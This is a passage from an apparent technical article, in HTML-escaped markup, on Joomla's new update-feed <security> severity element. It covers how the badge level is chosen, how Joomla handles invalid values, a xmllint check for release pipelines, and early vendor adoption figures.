8.9&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Security release level: Critical&lt;/td&gt;&lt;td&gt;red&lt;/td&gt;&lt;td&gt;yes&lt;/td&gt;&lt;td&gt;9.0 to 10.0&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The core code does not tell you how to choose the number, but the last column does. It is the mapping Allon gives in &lt;a href=&quot;https://magazine.joomla.org/issues/2026/august-2026/time-to-mark-your-security-updates&quot;&gt;his magazine article&lt;/a&gt;, and it matches the qualitative bands that CVSS 3.1 and &lt;a href=&quot;https://www.first.org/cvss/v4.0/specification-document&quot;&gt;CVSS 4.0&lt;/a&gt; both use, so if a CVE has been assigned for your fix, take the base score from the record and the level follows. If not, score the worst issue in the release yourself. When a release fixes several issues, send the level of the worst one, because the badge is a single number.&lt;/p&gt;
&lt;p&gt;A level 2 fix for a &lt;span&gt;Medium&lt;/span&gt; stored XSS gets the same amber badge as a level 1, and only levels 3 and 4 turn red. Do not inflate a Medium to High to get the red badge. Admins learn very quickly to ignore a vendor whose every release is High.&lt;/p&gt;
&lt;h2&gt;Two different security elements in Joomla XML&lt;/h2&gt;
&lt;p&gt;Do not get confused. A Joomla extension can now publish two elements called &lt;code&gt;security&lt;/code&gt;, in two different files, and they do different jobs. A security release should set both.&lt;/p&gt;
&lt;p&gt;The new one goes in your update XML, inside the &lt;code&gt;&amp;lt;update&amp;gt;&lt;/code&gt; entry for the release. It holds a single integer, and it is the one Joomla reads to draw the badge:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;&amp;lt;!-- updates.xml, the file your &amp;lt;updateservers&amp;gt; manifest entry points at --&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;update&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &amp;lt;&lt;/span&gt;&lt;span&gt;element&lt;/span&gt;&lt;span&gt;&amp;gt;com_examplegallery&amp;lt;/&lt;/span&gt;&lt;span&gt;element&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &amp;lt;&lt;/span&gt;&lt;span&gt;version&lt;/span&gt;&lt;span&gt;&amp;gt;2.4.1&amp;lt;/&lt;/span&gt;&lt;span&gt;version&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &amp;lt;&lt;/span&gt;&lt;span&gt;security&lt;/span&gt;&lt;span&gt;&amp;gt;3&amp;lt;/&lt;/span&gt;&lt;span&gt;security&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;update&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The older one goes in your changelog XML, the separate file your &lt;code&gt;&amp;lt;changelogurl&amp;gt;&lt;/code&gt; points at. It holds a list of &lt;code&gt;&amp;lt;item&amp;gt;&lt;/code&gt; lines describing the fixes, and Joomla shows them when an admin opens the changelog for the update, next to the &lt;code&gt;fix&lt;/code&gt;, &lt;code&gt;addition&lt;/code&gt;, &lt;code&gt;change&lt;/code&gt;, &lt;code&gt;remove&lt;/code&gt;, &lt;code&gt;language&lt;/code&gt; and &lt;code&gt;note&lt;/code&gt; sections:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;&amp;lt;!-- changelog.xml, the file your &amp;lt;changelogurl&amp;gt; points at --&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;changelogs&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &amp;lt;&lt;/span&gt;&lt;span&gt;changelog&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &amp;lt;&lt;/span&gt;&lt;span&gt;element&lt;/span&gt;&lt;span&gt;&amp;gt;com_examplegallery&amp;lt;/&lt;/span&gt;&lt;span&gt;element&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &amp;lt;&lt;/span&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt;&amp;gt;component&amp;lt;/&lt;/span&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &amp;lt;&lt;/span&gt;&lt;span&gt;version&lt;/span&gt;&lt;span&gt;&amp;gt;2.4.1&amp;lt;/&lt;/span&gt;&lt;span&gt;version&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &amp;lt;&lt;/span&gt;&lt;span&gt;security&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            &amp;lt;&lt;/span&gt;&lt;span&gt;item&lt;/span&gt;&lt;span&gt;&amp;gt;Fixed SQL injection in the gallery search filter&amp;lt;/&lt;/span&gt;&lt;span&gt;item&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &amp;lt;/&lt;/span&gt;&lt;span&gt;security&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &amp;lt;/&lt;/span&gt;&lt;span&gt;changelog&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;changelogs&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The number tells the admin how urgent the update is, and the items tell them what it fixes. The Joomla Manual documents the two on different pages: the new element on the &lt;a href=&quot;https://manual.joomla.org/docs/building-extensions/install-update/update-server/&quot;&gt;update server page&lt;/a&gt;, the older one on the &lt;a href=&quot;https://manual.joomla.org/docs/building-extensions/install-update/installation/change-log/&quot;&gt;changelog page&lt;/a&gt;. The &lt;a href=&quot;https://github.com/joomla/Manual/pull/688&quot;&gt;manual change&lt;/a&gt; that added the new element only edited the update server page, so if you start from the changelog page you will find a &lt;code&gt;security&lt;/code&gt; element there and never learn the other one exists.&lt;/p&gt;
&lt;h2&gt;How Joomla picks the level when a site skips releases&lt;/h2&gt;
&lt;p&gt;Joomla shows the highest level of every release newer than the version the site has installed, not the level of the newest release. This came in with &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48190&quot;&gt;pull request 48190&lt;/a&gt;, after a reviewer pointed out that a Critical fix in 1.0.1 would vanish from view the moment 1.0.2 shipped without a flag. While parsing your feed, the updater keeps every entry that has a &lt;code&gt;&amp;lt;security&amp;gt;&lt;/code&gt; element and passes the site’s platform, PHP, database and stability checks. It then runs this, from &lt;code&gt;libraries/src/Updater/Updater.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;private&lt;/span&gt;&lt;span&gt; function&lt;/span&gt;&lt;span&gt; findHighestSeverity&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;string&lt;/span&gt;&lt;span&gt; $installedVersion, &lt;/span&gt;&lt;span&gt;UpdateTable&lt;/span&gt;&lt;span&gt; $update, &lt;/span&gt;&lt;span&gt;array&lt;/span&gt;&lt;span&gt; $securityUpdates)&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; ?int&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $securityLevel &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;) $update&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;security;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    /** &lt;/span&gt;&lt;span&gt;@var&lt;/span&gt;&lt;span&gt; \&lt;/span&gt;&lt;span&gt;Joomla&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;CMS&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Table&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Update&lt;/span&gt;&lt;span&gt; $securityUpdate */&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    foreach&lt;/span&gt;&lt;span&gt; ($securityUpdates &lt;/span&gt;&lt;span&gt;as&lt;/span&gt;&lt;span&gt; $securityUpdate) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;version_compare&lt;/span&gt;&lt;span&gt;($securityUpdate&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;version,&lt;/span&gt;&lt;span&gt; $installedVersion,&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt; $securityLevel &lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;) $securityUpdate&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;security) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            $securityLevel &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;) $securityUpdate&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;security;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    return&lt;/span&gt;&lt;span&gt; $securityLevel;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;$update&lt;/code&gt; is the newest compatible release, the one the site will be offered. The result goes into &lt;code&gt;#__updates.security&lt;/code&gt;, and that stored number is what the update manager and the dashboard read. Pull request 48190’s own test feed shows the effect. It lists five releases: 0.9.0 flagged Critical, 1.0.0 unflagged, 1.0.1 High, 1.0.2 Medium and 1.0.3 unflagged. The table below starts from that feed; change any release’s level and the badges follow.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Release&lt;/th&gt;&lt;th&gt;&amp;lt;security&amp;gt;&lt;/th&gt;&lt;th&gt;Badge if this version is installed&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;0.9.0&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Security release level: High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;1.0.0&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Security release level: High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;1.0.1&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Security release level: Medium&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;1.0.2&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;No badge&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;1.0.3&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Up to date&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We installed each of those versions of a test module on a Joomla 6.1.4 site, pointed it at this feed and ran the update check. Joomla stored exactly the levels in the table. A site on 0.9.0 sees High rather than Critical, because the Critical entry is the version it already has, and a site on 0.8.0 would see Critical. One detail matters if you read the database: the level is written onto the row for the newest release, 1.0.3 here, even though 1.0.3 itself is unflagged. &lt;code&gt;#__updates.security&lt;/code&gt; holds the computed answer for that site, not the level your feed gave that release.&lt;/p&gt;
&lt;p&gt;So flag the release that contains the fix, once, and leave later releases alone. You do not need to repeat &lt;code&gt;&amp;lt;security&amp;gt;3&amp;lt;/security&amp;gt;&lt;/code&gt; on 2.4.2 and 2.4.3 so that sites still on 2.4.0 see it, because Joomla finds 2.4.1 in the feed and takes its level. That only works if you keep the flagged entry in the feed. If your update XML lists only the latest version, as many do, a site on 2.4.0 will see 2.4.3 with no badge at all. Keep old entries in the file for at least as long as you expect sites to lag behind.&lt;/p&gt;
&lt;h2&gt;What Joomla does with values outside 0 to 4&lt;/h2&gt;
&lt;p&gt;Joomla does not validate the value. It appends whatever text the element holds, casts it to an integer when it works out the level, and draws the badge whenever the result is not empty. We sent each of these values to a Joomla 6.1.4 site, for an update from 1.0.0 to 1.0.1, and recorded what it stored and showed:&lt;/p&gt;

































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;What you send&lt;/th&gt;&lt;th&gt;Stored in &lt;code&gt;#__updates.security&lt;/code&gt;&lt;/th&gt;&lt;th&gt;Update manager badge&lt;/th&gt;&lt;th&gt;Dashboard line&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;&lt;td&gt;0&lt;/td&gt;&lt;td&gt;none&lt;/td&gt;&lt;td&gt;no&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;1&lt;/code&gt; to &lt;code&gt;4&lt;/code&gt;&lt;/td&gt;&lt;td&gt;1 to 4&lt;/td&gt;&lt;td&gt;Low, Medium (amber), High, Critical (red)&lt;/td&gt;&lt;td&gt;yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;5&lt;/code&gt;&lt;/td&gt;&lt;td&gt;5&lt;/td&gt;&lt;td&gt;red, reading &lt;code&gt;COM_INSTALLER_SECURITY_SEVERITY_5&lt;/code&gt;&lt;/td&gt;&lt;td&gt;yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;-1&lt;/code&gt;&lt;/td&gt;&lt;td&gt;-1&lt;/td&gt;&lt;td&gt;amber, reading &lt;code&gt;COM_INSTALLER_SECURITY_SEVERITY_-1&lt;/code&gt;&lt;/td&gt;&lt;td&gt;no&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;High&lt;/code&gt;&lt;/td&gt;&lt;td&gt;0&lt;/td&gt;&lt;td&gt;none&lt;/td&gt;&lt;td&gt;no&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;&amp;lt;security&amp;gt;&amp;lt;/security&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;0&lt;/td&gt;&lt;td&gt;none&lt;/td&gt;&lt;td&gt;no&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;&amp;lt;security&amp;gt; 3 &amp;lt;/security&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;High (red)&lt;/td&gt;&lt;td&gt;yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;no element&lt;/td&gt;&lt;td&gt;0&lt;/td&gt;&lt;td&gt;none&lt;/td&gt;&lt;td&gt;no&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;4&lt;/code&gt; on an entry whose &lt;code&gt;targetplatform&lt;/code&gt; excludes the site&lt;/td&gt;&lt;td&gt;0&lt;/td&gt;&lt;td&gt;none&lt;/td&gt;&lt;td&gt;no&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;None of these produced a PHP warning or a log entry, so a mistake here goes unreported on both sides. Any number outside 0 to 4 shows the untranslated language key to the admin, which looks broken, and the admin will blame your extension for it. A word such as &lt;code&gt;High&lt;/code&gt; becomes 0 with no warning, so the release goes out unflagged and the admin never knows. And a flag only counts on an entry the site can actually install: if your feed has separate &lt;code&gt;&amp;lt;update&amp;gt;&lt;/code&gt; entries per Joomla major version, put the &lt;code&gt;&amp;lt;security&amp;gt;&lt;/code&gt; element on each branch’s entry that contains the fix, or the sites on the other branch see nothing.&lt;/p&gt;
&lt;p&gt;Send an integer from 0 to 4 and nothing else.&lt;/p&gt;
&lt;h2&gt;Older Joomla versions ignore the tag&lt;/h2&gt;
&lt;p&gt;You can add the element to a feed that still serves Joomla 3 and Joomla 4 sites. Older versions only store the update elements they know, and Joomla 3.10.12’s list in &lt;code&gt;libraries/src/Updater/UpdateAdapter.php&lt;/code&gt; is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;protected&lt;/span&gt;&lt;span&gt; $updatecols &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; array&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;NAME&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;ELEMENT&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;TYPE&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;FOLDER&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;CLIENT&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;VERSION&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;DESCRIPTION&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;INFOURL&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;EXTRA_QUERY&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Anything else in an &lt;code&gt;&amp;lt;update&amp;gt;&lt;/code&gt; entry is read and dropped. We tested it with the same feed, including &lt;code&gt;&amp;lt;security&amp;gt;3&amp;lt;/security&amp;gt;&lt;/code&gt;, on Joomla 4.4.14 and 3.10.12: both offered the update from 1.0.0 to 1.0.1 as normal, logged nothing, and showed no badge, because neither has the &lt;code&gt;security&lt;/code&gt; column in &lt;code&gt;#__updates&lt;/code&gt;. Joomla 5.4.8 and 6.1.3, the releases before the backport, have no &lt;code&gt;SECURITY&lt;/code&gt; in that list either. One feed with the element works for every branch you support, and sites start showing the badge as they update to Joomla 5.4.9, 6.1.4 or 6.2.&lt;/p&gt;
&lt;h2&gt;Flagging a release you have already published&lt;/h2&gt;
&lt;p&gt;If you shipped a security release without the flag, add &lt;code&gt;&amp;lt;security&amp;gt;&lt;/code&gt; to that release’s existing &lt;code&gt;&amp;lt;update&amp;gt;&lt;/code&gt; entry and republish the file. You do not need a new version. Sites pick the level up the next time they fetch your feed, and when that happens depends on what triggers the check. On a Joomla 6.1.4 site with 1.0.1 already listed unflagged, we added &lt;code&gt;&amp;lt;security&amp;gt;3&amp;lt;/security&amp;gt;&lt;/code&gt; to the 1.0.1 entry and tried each route:&lt;/p&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;How the site checks&lt;/th&gt;&lt;th&gt;Picked up the new level?&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Check for Updates button in System, Update, Extensions&lt;/td&gt;&lt;td&gt;yes, straight away&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;php cli/joomla.php update:extensions:check&lt;/code&gt;&lt;/td&gt;&lt;td&gt;yes, straight away&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Home Dashboard quick icon, feed fetched minutes earlier&lt;/td&gt;&lt;td&gt;no&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Home Dashboard quick icon, after the cache timeout&lt;/td&gt;&lt;td&gt;yes&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The dashboard check respects the Installer’s update cache, which is six hours by default (Cache Timeout in the Installer options), so an admin who never clicks Check for Updates sees the badge within six hours of your change, on their next visit to the dashboard. The other two routes ignore the cache. Retro-flagging is worth doing for a security release that is still recent, since most sites behind on your extension are still behind on it.&lt;/p&gt;
&lt;h2&gt;Checking the tag in your Joomla release pipeline&lt;/h2&gt;
&lt;p&gt;If you publish releases with &lt;a href=&quot;https://github.com/akeeba/release-system&quot;&gt;Akeeba Release System&lt;/a&gt;, version 7.5.0 already &lt;a href=&quot;https://github.com/akeeba/release-system/commit/37ad5eed&quot;&gt;writes the element&lt;/a&gt; when you set a severity on a release. If you build the XML yourself, a typo in the security element costs you the badge without any error, so check the feed before it goes live. This runs anywhere &lt;code&gt;xmllint&lt;/code&gt; is installed (it ships with libxml2 on macOS and most Linux images) and fails the build if any &lt;code&gt;&amp;lt;security&amp;gt;&lt;/code&gt; element holds anything other than an integer from 0 to 4:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;xmllint&lt;/span&gt;&lt;span&gt; --noout&lt;/span&gt;&lt;span&gt; updates.xml&lt;/span&gt;&lt;span&gt; ||&lt;/span&gt;&lt;span&gt; exit&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; xmllint&lt;/span&gt;&lt;span&gt; --xpath&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;//update/security[not(contains(&quot;|0|1|2|3|4|&quot;, concat(&quot;|&quot;, normalize-space(.), &quot;|&quot;)))]&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; updates.xml&lt;/span&gt;&lt;span&gt; 2&amp;gt;&lt;/span&gt;&lt;span&gt;/dev/null&lt;/span&gt;&lt;span&gt;; &lt;/span&gt;&lt;span&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  echo&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;updates.xml: &amp;lt;security&amp;gt; must be an integer from 0 to 4&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; &amp;gt;&amp;amp;2&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  exit&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;fi&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The exit codes run the opposite way to what you might expect. &lt;code&gt;xmllint --xpath&lt;/code&gt; exits 0 when the expression matches something, and here a match means a bad value, so the &lt;code&gt;if&lt;/code&gt; branch is the failure. When every value is valid the expression matches nothing, &lt;code&gt;xmllint&lt;/code&gt; prints “XPath set is empty” to stderr and exits non-zero, and the script continues. The first line is there because a file that does not parse would also exit non-zero from the second command and slip through as a pass. &lt;code&gt;normalize-space()&lt;/code&gt; lets &lt;code&gt;&amp;lt;security&amp;gt; 3 &amp;lt;/security&amp;gt;&lt;/code&gt; through, which matches what Joomla accepts; drop it if you want your feed stricter than Joomla is.&lt;/p&gt;
&lt;h2&gt;How many Joomla extension vendors send the tag so far&lt;/h2&gt;
&lt;p&gt;Almost none, but that’s because it’s new. On 5 October 2026 we fetched every enabled extension update feed in the mySites.guru database, 11,092 distinct URLs with their query strings stripped, and 7,504 of them answered with update XML. Five of those feeds include a &lt;code&gt;&amp;lt;security&amp;gt;&lt;/code&gt; element.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;div&gt;update feeds sending the security tag&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;0.07%&lt;/div&gt;&lt;div&gt;of the 7,504 feeds that answered&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;0&lt;/div&gt;&lt;div&gt;feeds sending a level above 0&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;









































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Developer&lt;/th&gt;&lt;th&gt;Extension&lt;/th&gt;&lt;th&gt;Feed&lt;/th&gt;&lt;th&gt;Level sent&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.weeblr.com/&quot;&gt;Weeblr&lt;/a&gt;&lt;/td&gt;&lt;td&gt;4SEF&lt;/td&gt;&lt;td&gt;&lt;code&gt;u1.weeblr.com/.../pkg_forsef_full.xml&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Weeblr&lt;/td&gt;&lt;td&gt;4Podcast&lt;/td&gt;&lt;td&gt;&lt;code&gt;u1.weeblr.com/.../plg_system_forpodcast_full.xml&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Weeblr&lt;/td&gt;&lt;td&gt;4Analytics&lt;/td&gt;&lt;td&gt;&lt;code&gt;u1.weeblr.com/.../pkg_foranalytics_full.xml&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.moonsoft.es/&quot;&gt;Moonsoft&lt;/a&gt;&lt;/td&gt;&lt;td&gt;List Manager&lt;/td&gt;&lt;td&gt;&lt;code&gt;moonsoft.es/comp_update/listmanager.xml&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Moonsoft&lt;/td&gt;&lt;td&gt;Calc Builder&lt;/td&gt;&lt;td&gt;&lt;code&gt;moonsoft.es/comp_update/calcbuilder.xml&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;All five send &lt;code&gt;&amp;lt;security&amp;gt;0&amp;lt;/security&amp;gt;&lt;/code&gt;, which is the right answer for a release with no security fix and shows nothing in the update manager. Weeblr sends it on every entry in its feeds, which is the tidiest way to do it. The five feeds come from two vendors out of the 633 hosts that served a working feed, or 0.3%, so no public update feed in our data yet marks a release Low or higher.&lt;/p&gt;
&lt;p&gt;So for now, an extension update without a badge tells an administrator nothing. That will change as vendors pick it up, and the cost of adopting it is one element per security release. If you are a Joomla extension developer reading this, yours could be the first feed in a product category to send it.&lt;/p&gt;
&lt;h2&gt;What Joomla administrators will see&lt;/h2&gt;
&lt;p&gt;Administrators do not need to do anything to get this. On Joomla 5.4.9, 6.1.4 or 6.2, an extension update whose developer sent a level gets a badge under its name in System, Update, Extensions, red for High and Critical, amber for Medium and Low:&lt;/p&gt;
